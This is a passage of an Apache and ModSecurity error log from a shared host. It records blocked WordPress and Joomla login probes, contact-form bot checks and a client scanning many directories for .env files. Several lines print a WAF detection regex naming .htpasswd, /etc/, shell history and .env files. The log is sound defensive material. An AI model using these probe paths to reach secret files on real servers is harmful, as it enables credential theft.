"ai3zBNyTkdrNlD40tSGs-AAAACg"], referer: https://t.co/ [Sat Jun 13 18:17:08.460850 2026] [access_compat:error] [pid 648189:tid 648289] [remote 57.141.14.83:30408] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:08.461120 2026] [access_compat:error] [pid 648189:tid 648289] [remote 57.141.14.83:30408] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:08.495355 2026] [security2:error] [pid 648189:tid 648380] [client 34.23.213.224:33092] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zBFWSojQL4F7upKBi4QAAAKA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:08.497997 2026] [security2:error] [pid 648189:tid 648413] [client 210.217.96.217:22448] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zBFWSojQL4F7upKBi3wAAAMA"] [Sat Jun 13 18:17:08.498111 2026] [security2:error] [pid 648189:tid 648413] [client 210.217.96.217:22448] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zBFWSojQL4F7upKBi3wAAAMA"] [Sat Jun 13 18:17:08.632058 2026] [security2:error] [pid 646876:tid 647101] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/directories/.env"] [unique_id "ai3zBNyTkdrNlD40tSGs_QAAAF0"] [Sat Jun 13 18:17:08.657951 2026] [security2:error] [pid 648189:tid 648363] [client 34.23.213.224:33100] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zBFWSojQL4F7upKBi5gAAAI8"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:08.684783 2026] [security2:error] [pid 648189:tid 648307] [remote 80.44.113.148:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3zBFWSojQL4F7upKBi5QAAu1U"], referer: https://www.torquayfans.com [Sat Jun 13 18:17:08.684817 2026] [security2:error] [pid 648189:tid 648307] [remote 80.44.113.148:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3zBFWSojQL4F7upKBi5QAAu1U"], referer: https://www.torquayfans.com [Sat Jun 13 18:17:08.771016 2026] [security2:error] [pid 646876:tid 647083] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/dist/.env"] [unique_id "ai3zBNyTkdrNlD40tSGtAAAAAEs"] [Sat Jun 13 18:17:08.819907 2026] [security2:error] [pid 648189:tid 648403] [client 34.23.213.224:33106] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zBFWSojQL4F7upKBi7QAAALc"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:08.847888 2026] [access_compat:error] [pid 646876:tid 646994] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9tb3VzZTIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:17:08.848171 2026] [access_compat:error] [pid 646876:tid 646994] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9tb3VzZTIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:17:08.889977 2026] [security2:error] [pid 648189:tid 648461] [client 77.83.36.161:48601] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "143"] [id "900402"] [msg "Joomla administrator POST logging"] [data "200"] [hostname "bowrattler.com"] [uri "/administrator/index.php"] [unique_id "ai3zBFWSojQL4F7upKBi6gAAAOs"] [Sat Jun 13 18:17:08.986314 2026] [security2:error] [pid 648189:tid 648469] [client 34.23.213.224:33120] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zBFWSojQL4F7upKBi8gAAAPM"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:08.998208 2026] [security2:error] [pid 646876:tid 647032] [client 34.23.213.224:33126] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zBNyTkdrNlD40tSGtBgAAABg"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:09.069262 2026] [security2:error] [pid 646876:tid 647050] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/django-blog/.env"] [unique_id "ai3zBdyTkdrNlD40tSGtCAAAACo"] [Sat Jun 13 18:17:09.148820 2026] [security2:error] [pid 646876:tid 647082] [client 34.23.213.224:33136] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zBdyTkdrNlD40tSGtCgAAAEo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:09.203384 2026] [security2:error] [pid 648189:tid 648411] [client 34.23.213.224:33150] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zBVWSojQL4F7upKBi-AAAAL4"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:09.209837 2026] [security2:error] [pid 646876:tid 647070] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/django/.env"] [unique_id "ai3zBdyTkdrNlD40tSGtDAAAAD4"] [Sat Jun 13 18:17:09.218362 2026] [security2:error] [pid 646876:tid 646925] [remote 57.141.14.109:36068] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 109.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3zBdyTkdrNlD40tSGtDQAAJS4"], referer: https://nelsonfarmstn.com/shop/?add_to_wishlist=383&_wpnonce=8d149de2a5&add-to-cart=1258 [Sat Jun 13 18:17:09.348980 2026] [security2:error] [pid 646876:tid 647022] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/django_project_path/.env"] [unique_id "ai3zBdyTkdrNlD40tSGtEQAAAA4"] [Sat Jun 13 18:17:09.390374 2026] [access_compat:error] [pid 646876:tid 646982] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:17:09.390839 2026] [access_compat:error] [pid 646876:tid 646982] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:17:09.488024 2026] [security2:error] [pid 646876:tid 647038] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/doc/.env"] [unique_id "ai3zBdyTkdrNlD40tSGtFQAAAB4"] [Sat Jun 13 18:17:09.515280 2026] [access_compat:error] [pid 646876:tid 646923] [remote 57.141.14.97:44294] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:09.515556 2026] [access_compat:error] [pid 646876:tid 646923] [remote 57.141.14.97:44294] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:09.650496 2026] [security2:error] [pid 646876:tid 647093] [client 77.83.36.161:49068] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "143"] [id "900402"] [msg "Joomla administrator POST logging"] [data "200"] [hostname "bowrattler.com"] [uri "/administrator/index.php"] [unique_id "ai3zBdyTkdrNlD40tSGtGAAAAFU"] [Sat Jun 13 18:17:09.689690 2026] [access_compat:error] [pid 648189:tid 648311] [remote 57.141.14.26:35298] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:09.689974 2026] [access_compat:error] [pid 648189:tid 648311] [remote 57.141.14.26:35298] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:09.777114 2026] [security2:error] [pid 646876:tid 647027] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/docker-compose/.env"] [unique_id "ai3zBdyTkdrNlD40tSGtHQAAABM"] [Sat Jun 13 18:17:09.918099 2026] [security2:error] [pid 646876:tid 647117] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/docker-compose/platform/.env"] [unique_id "ai3zBdyTkdrNlD40tSGtIAAAAG0"] [Sat Jun 13 18:17:09.938083 2026] [access_compat:error] [pid 646876:tid 646915] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:17:09.938535 2026] [access_compat:error] [pid 646876:tid 646915] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:17:10.059232 2026] [security2:error] [pid 646876:tid 647049] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/docker-elk/.env"] [unique_id "ai3zBtyTkdrNlD40tSGtJAAAACk"] [Sat Jun 13 18:17:10.110328 2026] [security2:error] [pid 646876:tid 646921] [remote 17.241.219.247:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 247.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zBtyTkdrNlD40tSGtJwAANCo"] [Sat Jun 13 18:17:10.198377 2026] [security2:error] [pid 646876:tid 647020] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/docker-network-healthcheck/.env"] [unique_id "ai3zBtyTkdrNlD40tSGtKQAAAAw"] [Sat Jun 13 18:17:10.271833 2026] [security2:error] [pid 646876:tid 646887] [remote 148.252.159.210:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3zBtyTkdrNlD40tSGtKwAAcwg"], referer: https://www.torquayfans.com [Sat Jun 13 18:17:10.271876 2026] [security2:error] [pid 646876:tid 646887] [remote 148.252.159.210:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3zBtyTkdrNlD40tSGtKwAAcwg"], referer: https://www.torquayfans.com [Sat Jun 13 18:17:10.337567 2026] [security2:error] [pid 646876:tid 647052] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/docker-node-mongo-redis/.env"] [unique_id "ai3zBtyTkdrNlD40tSGtLwAAACw"] [Sat Jun 13 18:17:10.354080 2026] [access_compat:error] [pid 648189:tid 648221] [remote 57.141.14.98:31116] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:10.354402 2026] [access_compat:error] [pid 648189:tid 648221] [remote 57.141.14.98:31116] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:10.410787 2026] [security2:error] [pid 648189:tid 648380] [client 77.83.36.161:49514] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "143"] [id "900402"] [msg "Joomla administrator POST logging"] [data "200"] [hostname "bowrattler.com"] [uri "/administrator/index.php"] [unique_id "ai3zBlWSojQL4F7upKBjFgAAAKA"] [Sat Jun 13 18:17:10.434265 2026] [access_compat:error] [pid 646876:tid 646979] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:17:10.434537 2026] [access_compat:error] [pid 646876:tid 646979] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 